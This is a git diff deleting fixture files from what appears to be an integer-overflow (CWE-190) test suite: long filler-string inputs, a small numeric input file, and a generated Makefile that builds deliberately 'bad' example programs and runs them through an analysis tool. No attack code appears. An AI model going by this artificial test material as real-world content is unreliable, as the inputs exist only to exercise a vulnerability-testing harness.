-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
diff --git a/integerbug_examples/C1_Number_Handling/CWE_190/Example2_good.txt b/integerbug_examples/C1_Number_Handling/CWE_190/Example2_good.txt
deleted file mode 100644
index 8ad86ce535d1132a133f3c593e73df0518993887..0000000000000000000000000000000000000000
--- a/integerbug_examples/C1_Number_Handling/CWE_190/Example2_good.txt
+++ /dev/null
@@ -1,3 +0,0 @@
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
diff --git a/integerbug_examples/C1_Number_Handling/CWE_190/Example_UVA_good.txt b/integerbug_examples/C1_Number_Handling/CWE_190/Example_UVA_good.txt
deleted file mode 100644
index 98fb6a686563963b8f7e552d747158adbc1c2bd6..0000000000000000000000000000000000000000
--- a/integerbug_examples/C1_Number_Handling/CWE_190/Example_UVA_good.txt
+++ /dev/null
@@ -1,4 +0,0 @@
-1
-1
-1
-1
diff --git a/integerbug_examples/C1_Number_Handling/CWE_190/Makefile b/integerbug_examples/C1_Number_Handling/CWE_190/Makefile
deleted file mode 100644
index 05bb5bf7b563782f3d2ca6ab4464d08fc1e66ec3..0000000000000000000000000000000000000000
--- a/integerbug_examples/C1_Number_Handling/CWE_190/Makefile
+++ /dev/null
@@ -1,81 +0,0 @@
-# DO NOT EDIT - This Makefile automatically generated
-include ../../Makefile.options
-include $(wildcard Makefile.options)
-
-all: runall
-
-test:
- ../../../scripts/test.pl $(TESTFLAGS) .
-
-CWE_190_Example_1_bad.ncexe: CWE_190_Example_1_bad.c
- $(CC) $(CFLAGS) $< -o $@ $(LINKOPT)
- @echo $(CC) $(CFLAGS) $< -o $@ $(LINKOPT) >CWE_190_Example_1_bad.conf
-
-CWE_190_Example_1_bad: CWE_190_Example_1_bad.ncexe
- sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ 2>&1 | tee CWE_190_Example_1_bad.ps_analyze.log
- cp CWE_190_Example_1_bad.conf CWE_190_Example_1_bad.ncexe.conf
- @echo sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ >> CWE_190_Example_1_bad.conf
-
-CWE_190_Example_1_bad.run: CWE_190_Example_1_bad
- ../../../scripts/test.pl $(TESTFLAGS) CWE_190_Example_1_bad.ncexe
-
-CWE_190_Example_2_bad.ncexe: CWE_190_Example_2_bad.c
- $(CC) $(CFLAGS) $< -o $@ $(LINKOPT)
- @echo $(CC) $(CFLAGS) $< -o $@ $(LINKOPT) >CWE_190_Example_2_bad.conf
-
-CWE_190_Example_2_bad: CWE_190_Example_2_bad.ncexe
- sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ 2>&1 | tee CWE_190_Example_2_bad.ps_analyze.log
- cp CWE_190_Example_2_bad.conf CWE_190_Example_2_bad.ncexe.conf
- @echo sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ >> CWE_190_Example_2_bad.conf
-
-CWE_190_Example_2_bad.run: CWE_190_Example_2_bad
- ../../../scripts/test.pl $(TESTFLAGS) CWE_190_Example_2_bad.ncexe
-
-modular_bug_finding_example_1.ncexe: modular_bug_finding_example_1.c
- $(CC) $(CFLAGS) $< -o $@ $(LINKOPT)
- @echo $(CC) $(CFLAGS) $< -o $@ $(LINKOPT) >modular_bug_finding_example_1.conf
-
-modular_bug_finding_example_1: modular_bug_finding_example_1.ncexe
- sh $(PEASOUP_HOME)/tools/ps_analyze.sh $< $@ 2>&1 | tee modular_bug_finding_example_1.ps_analyze.log
